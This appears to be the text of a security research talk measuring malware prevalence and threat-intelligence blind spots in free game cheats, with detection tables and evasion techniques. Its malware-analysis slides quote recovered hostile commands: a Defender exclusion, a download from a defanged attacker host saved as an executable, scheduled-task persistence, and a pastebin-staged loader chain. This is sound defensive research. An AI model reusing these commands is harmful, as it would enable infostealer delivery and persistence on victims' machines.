Malware prevalence and threat-intelligence blind spots in freely distributed game cheats. 295 unique artefacts, one pre-committed rule, and a 13.56 % region nobody can classify.
Have you ever unzipped an archive using a password from a video description?
Or a Discord message, or a pastebin. Keep your hand up.
Have you ever turned off Defender to make something run?
On any machine. For any reason. Including “it was a false positive”.
Twenty of 295 free cheat artefacts are confirmed malicious under a rule fixed before analysis. The rule is not doing the work — the estimate barely moves across it.
Not clean. Unmeasured. And distributors build against ingestion on purpose, with techniques you can read off an archive header.
Four plain-text markers on the download page predict the risk, at index time, with no sample and no verdict.
Everything after this slide is evidence for one of those three. Slides and the full artefact package go out as a PDF after the session — no need to photograph anything.
Client-side anti-cheat reads the execution environment, some of it from ring 0
Memory reading, process manipulation, injection. There is no other way in
Manipulation is exactly what an EDR is built to flag
Disable Defender, run as administrator, execute unsigned code from a stranger
Under the Man-At-The-End model the cheat user is adversary to the game and victim to the distributor at the same time. Defences built around an unwilling victim do not transfer.
That cheats sometimes carry malware is not a new claim. What is missing is a recent, reproducible measurement with an explicit classification rule.
And a harder question nobody has asked: how much of this channel is invisible to the hash-based intelligence that users and platforms actually depend on.
The most-repeated number in this space — AVG’s “90 % of game hacks are infected” — has no published denominator, threshold or corpus. We cite it only as irreproducible.
To what extent do free cheat artefacts carry malicious components, and how sensitive is that estimate to the rule used?
Which categories are present, and can capability intrinsic to cheating be separated from evidenced payload?
What patterns accompany distribution, and are they observable before a binary is ever scanned?
Coverage, not prevalence. That is the argument of this talk.
Free, public, unauthenticated channels only. Static-first, because 295 hostile artefacts is the wrong corpus to detonate.
SHA-256 and MD5 from file bytes, PE metadata, architecture
Shannon entropy, packer ID, import table, strings, ssdeep and imphash
VirusTotal and MalwareBazaar per unique hash. Never ground truth
Behavioural categories from labels, strings, imports, structure
VPN, sandboxed browser, NIC disabled before analysis
Air-gapped FLARE-VM, snapshot rollback · never networked
Encrypted removable media, binaries never republished
GitHub, YouTube, UnknownCheats, general web search. Paid, subscription and invite-only excluded — the free tier is the socially scalable attack surface.
Candidates carry a PE extension, present a PE header despite an ambiguous extension, or are scripts shipped inside a cheat package. Scripts dominate the 562 instances at 71.9 % (404). The 295 unique artefacts confirm material is redistributed across packages under different filenames.
A hash-defined corpus misclassifies silently when the index is wrong. Those nine errors had moved two flagged binaries into the “no record” tier. Recomputation should be routine.
A threshold fixed before analysis, confidence intervals on every figure, and a sensitivity sweep so you can see the cutoff is not doing the work.
Wilson 95 % CI: malicious 4.43–10.24 %, malicious-or-suspicious 9.83 % (6.93–13.76 %). MalwareBazaar matched a single hash and contributed no discriminating information.
| Threshold | Malicious | Share | Wilson 95 % CI |
|---|---|---|---|
| ≥ 1 engine | 29 | 9.83 % | 6.93 – 13.76 |
| ≥ 3 engines | 23 | 7.80 % | 5.25 – 11.43 |
| ≥ 5 engines pre-committed | 20 | 6.78 % | 4.43 – 10.24 |
| ≥ 10 engines | 18 | 6.10 % | 3.89 – 9.44 |
| ≥ 20 engines | 16 | 5.42 % | 3.37 – 8.63 |
| ≥ 30 engines | 12 | 4.07 % | 2.34 – 6.97 |
| ≥ 40 engines | 6 | 2.03 % | 0.94 – 4.37 |
Every interval from ≥ 1 to ≥ 20 overlaps every other, so the estimate is stable across that whole range. It becomes load-bearing only at ≥ 40.
Strongly bimodal: artefacts sit at or near zero, or above 29, with a thin middle. A further 226 sit at exactly zero detections, off scale. Median across the 20 confirmed is 34.
of artefacts had no VirusTotal record at all when we looked. 40 of 295. CI 10.12–17.94 %.
These artefacts cannot be classified in either direction by threat intelligence. Every prevalence figure in this talk is a lower bound over a 13 % blind region.
Three observations say the region is partly manufactured, and we watched distributors do the manufacturing.
Hash reputation is what the platform, the browser and the endpoint stack all fall back on. On this channel it is structurally poorly positioned.
Fresh builds have no reputation, direct downloads bypass indexing entirely, and four distribution techniques exist to make sure the sample never reaches an engine.
The next three slides are the four techniques that widen that window on purpose: size padding, generated entropy, password gates and content lockers.
CSS keyframes on the existing .lf widths, fired by .slide.go — no library, no video file. Runs once on entry, never loops, so it does not compete with the spoken line. Render the end state immediately under prefers-reduced-motion.
Same code, differently configured. One is indexed, its twin is invisible.
In an ecosystem where a single GitHub search for aimbot returns over
7,600 repositories, repositories appear faster than submission pipelines
index them.
YouTube description links, Discord attachments, file-hosting redirects. The binary reaches the user without passing any indexing service. The binary arrives before the intelligence does.
Rebuilding this project reproduced 6026ae8f… exactly:
Roslyn emits deterministic assemblies and writes content hashes into the PE
timestamp field. For managed targets a fresh build is not automatically a fresh hash.
The non-transfer is the durable point.
Set-Up.exe shipped as 841,247,745 bytes, past the upload limits sandboxes
and TI platforms enforce. It compresses 693:1, which is only
reachable on near-constant data — visible from archive headers alone.
Three byte-identical 52,428,800-byte files at entropy 7.9943. Incompressible, so it survives the test that exposes technique 01, and it reads as ciphertext to every entropy-based triage rule.
Encrypted archives with the password published in the video description
(2025, cs2hack). Automated scanning cannot open it.
The payload stays encrypted at rest until a human extracts it.
Download flows requiring survey completion or link sharing before release, inserting a human step ahead of the payload.
That user is correspondingly less likely to abandon at a security warning. The gate is doing two jobs at once: it keeps the scanner out and it walks the victim further in. Both jobs happen before any binary is analysed.
cs2hack.841 MB. Right-click, upload to a scanner, rejected — file too large.MSVCP140.dll dialog appears. Freeze on it. Cut to black.Recorded on the air-gapped FLARE-VM, no live network, hostnames and links blurred or defanged in post. Burn in a persistent “reconstruction · isolated VM” corner label so nothing here can be mistaken for a live demo. Hard-subtitle the four beats — the room will be reading, not listening, so keep the captions and the spoken line saying the same thing.
Four techniques described in text read as four bullet points. Watched in sequence they read as one designed funnel, which is the actual claim.
Narration over on-screen text overloads one channel and costs recall. Set it up in a sentence, stay quiet for 45 seconds, then land the point.
Fall back to four stills on this slide and keep talking. Roughly 60 % of presenters hit a technical fault; test playback on the room’s machine, not yours.
A 693:1 ratio is only reachable on near-constant data, and the ratio is readable from the archive headers. No detonation, no extraction, one metadata read.
Collected six weeks apart through a different channel from
Cs2Hack.exe, yet it shares a Go compiler version, section structure
and a near-empty import table with it.
Independently submitted dynamic results for the same hash report infostealer behaviour. We did not detonate it, so that corroborates the static reading rather than extending it.
Ciphertext and compressed data exercise all 256 byte values with overwhelming probability at megabyte scale. A generator with a modulo bias does not.
from collections import Counterimport mathdef profile(path): c = Counter(open(path, "rb").read()) n = sum(c.values()) H = -sum(v/n * math.log2(v/n) for v in c.values()) return H, len(c) # entropy, byte-value support>>> profile("padding.bin")(7.9943, 255) # 0xFF never occurs in 52,428,800 bytes
0xFF occurs zero times in 52,428,800 bytes. Every other value is present.
reads as ciphertext
a uniform draw over 255 symbols
on 255 degrees of freedom
occurrences of 0xFF at this length
Two megabytes generated in the browser. Both read as ciphertext to an entropy rule. Only one of them exercises all 256 byte values.
Entropy is a scalar and it saturates. The histogram is 256 numbers and it does not. A missing bar is a generator fingerprint, not a cipher.
padding.bin from the artefact package off a USB stick. Same result, live, on their file.Generation is synchronous and takes roughly 150 ms for 2 MB; click, then keep talking. Falls back to a static histogram if the canvas fails.
The cutoff matters less than the label. Six of the twenty flagged artefacts are builds of public projects, detected for doing exactly what they say on the tin.
| Artefact | Target | Detections | Rate | Category | Class |
|---|---|---|---|---|---|
| undetek-v10.12.exe | CS2 | 53 / 71 | 74.6 % | HWID spoofer | — |
| Swift.exe | Roblox | 53 / 71 | 74.6 % | Loader / dropper | P |
| Fortnite.exe | Fortnite | 50 / 71 | 70.4 % | Unclassified | — |
| DragonBurn.exe | CS2 | 49 / 72 | 68.1 % | Packed SFX | — |
| Cs2Hack.exe | CS2 | 47 / 69 | 68.1 % | Reflective loader | P |
| BlackBoneDrv10.sys | Multi | 43 / 71 | 60.6 % | Kernel injector | D |
| dll.dll | CS2 | 39 / 72 | 54.2 % | Cheat framework | — |
| BlackBoneDrv7.sys | Multi | 38 / 69 | 55.1 % | Kernel injector | D |
| zRanibox6s.exe | R6S | 37 / 72 | 51.4 % | Dropper | P |
| silky.dll | Valorant | 36 / 72 | 50.0 % | Cheat framework | P |
| codexsoftwares.exe | CS2 | 34 / 71 | 47.9 % | Unclassified | — |
| CSEXTERNAL-V2.exe | CS2 | 34 / 66 | 51.5 % | Unclassified | — |
| BlackBoneDrv81.sys | Multi | 29 / 71 | 40.8 % | Kernel injector | D |
| BlackBoneDrv8.sys | Multi | 29 / 73 | 39.7 % | Kernel injector | D |
| aimr.py (v1) | Unknown | 23 / 63 | 36.5 % | Script | — |
| berserkv2.dll | CS2 | 21 / 72 | 29.2 % | Cheat framework | — |
| aimr.py (v2) | Unknown | 19 / 63 | 30.2 % | Script | — |
| Cheat-Base.dll | CS2 | 12 / 56 | 21.4 % | MinHook debug build | D |
| Launcher.cmd | Roblox | 9 / 61 | 14.8 % | Script dropper | P |
| luajit.exe | Valorant | 5 / 67 | 7.5 % | LuaJIT runtime | D |
CSEXTERNAL-V2.exe and berserkv2.dll enter the set only after hash
recomputation. aimr.py is two distinct hashes.
luajit.exe is the LuaJIT runtime on two generic labels —
a false positive on our exact threshold, and the only artefact making ≥ 5 bite rather than ≥ 10.
Splitting on vendor labels does not work: four release builds of one open-source project split two ways on label balance. Provenance is checkable and stable. The residual 3.05 % (9/295) is flagged but uncharacterised, and we decline to assign it.
Swift.exe ships C# source
that does not match its binary
Go-compiled with symbols retained. Disassembly of main.main recovers a
staged-loader chain in full, so we report the verified chain rather than
the vendor label.
os/exec.Command // spawn powershell → net/http.(*Client).Get // pastebin raw endpoint → os.Create // randomised filename → io.copyBuffer // into %APPDATA% → exec.(*Cmd).Start // second stage runs
Multi-engine consensus identifies the Lumma infostealer. The staging URL was confirmed independently by string extraction.
The two are compatible — a loader may deliver Lumma — but the chain is what this analysis establishes and the payload identity is not.
Adopting the vendor label would import a claim we did not verify into a paper whose whole argument is about what verdicts do and do not establish.
OmnyLoad.exeConfiguration lives in an AES-CBC .NET manifest resource: key in the first 32 bytes, IV in the next 16, ciphertext in the remainder. Decryption recovers a 39-entry string table.
Add-MpPreference -ExclusionPath "C:\ProgramData\"Invoke-WebRequest hxxp://a0717206[.]xsph[.]ru/db/opti.db -OutFile ...\devenv.exe + stip.db, dbg.db, ok.db -> SpeechUx.exe, git.exeSCHTASKS /create /sc ONLOGON /TN "Microsoft\Two"schtasks /create /tn \Mylibrary\Ape /xml ...\start.xml
-encodedCommand carrying base64 UTF-16LE.The user reads a routine dependency failure and concludes the cheat did not work, while four executables sit on disk under Defender-excluded paths with a logon-triggered task registered.
Reads ProductName from the registry and carries distinct paths for
Windows 7, 8, 10 and 11. Windows 10 gets an ONLOGON task; 8 and 11
fetch a task XML from the same host and import it.
Imports exactly one DLL. kernel32.dll, 39 functions, among them
GetProcAddress, LoadLibraryA/W and
VirtualAlloc. Everything else resolves at runtime,
which defeats IAT inspection and imphash similarity alike.
main.readOptionalHeader, main.readRelocs,
main.ParseOrdinal, main.Virtual_Alloc,
main.DropProc. Header parsing, relocations, ordinal export resolution
and allocation is the full complement of a reflective loader.
The generated ones are concatenations of English words, 159 to 213 characters long.
Symbol-based triage is defeated while the binary still presents as an ordinary unstripped Go build. A third anti-analysis measure alongside the empty import table and the padding.
Three byte-identical 50 MiB files at entropy 7.99 invite reading as an encrypted payload. Both grounds are unsound: 50 MiB is divisible by 16 as arithmetic, and any 16 high-entropy bytes “look like” an IV. The byte histogram settles it.
The most actionable result in this work is not a property of the binaries. It sits in plain text on the distribution page, available to a platform at index time.
Frequency runs opposite to specificity. bypass is the most common and the
least useful — it is dominated by legitimate anti-cheat discussion.
Disable-Defender instruction, plus run-as-administrator, plus an
undetected claim, plus an off-platform redirect.
The conjunction discriminates far better than any indicator alone,
and all four are readable at index time.
Together they bring the user to full privileges with no endpoint protection. The Man-At-The-End risk realised through the victim’s own actions.
discord.gg and Telegram invitations move users into channels where
operators push updated payloads and build trust.
undetected functions as a competence signal: evasive enough to beat
anti-cheat, therefore well built, therefore safe. Read correctly it is
a description of malware behaviour.
of binaries are invisible to hash reputation, and distributors actively work to keep them there.
A verdict keyed to a hash cannot speak about a build nobody submitted, and rebuilds are cheap in an ecosystem turning over this fast.
sitting in repository READMEs and video descriptions, available to a platform at index time and requiring no binary analysis.
Text co-occurrence is not a better classifier in the abstract. It is
better positioned than the mechanism currently relied upon.
For users the relevant finding is not the prevalence figure. Whoever disabled Defender, elevated privileges and ran an unsigned binary from a Discord redirect has assumed most of the risk whether or not that artefact was malicious.
We cannot claim cheats are more dangerous than other freely downloaded software. Statements about elevated risk here describe an exposure pathway, not a measured differential.
Blind to runtime behaviour and to dormant or game-state-triggered functionality. Verdict dates span 2020-06-19 to 2026-04-20, median 2024-09-26 — a single “query date” would misdescribe this data.
Packages resisting collection are disproportionately the ones using the tradecraft above, biasing the corpus toward benign material. Engines flag dual-use tooling on capability, inflating the flagged count.
Characterising the nine flagged but unreconstructed artefacts is the cheapest improvement. The comparator corpus is the most valuable. Classifiers on symbol retention, loader-oriented imports and package-level entropy could reduce dependence on reputation services precisely where they are weakest.
SHA-256 manifest, provenance metadata, timestamped TI results, static indicator tables and the social-engineering codebook. Binaries are not published. Samples go to verified researchers under agreement.
6.78 % is the number people will quote. 13.56 % is the number that should change what platforms do, and the padding detector costs one pass over the file.
Confirmed malicious, stable across every threshold from one engine to twenty. This is the figure that will end up in the write-ups.
No verdict available in either direction, engineered to stay that way, and it makes the first number a floor.
Disable-Defender instruction, run-as-administrator, an undetected claim,
an off-platform redirect. Readable at index time.
Slides, SHA-256 manifest, static indicator tables and the social-engineering codebook go out as a PDF after the session. Binaries are not published; samples go to verified researchers under agreement.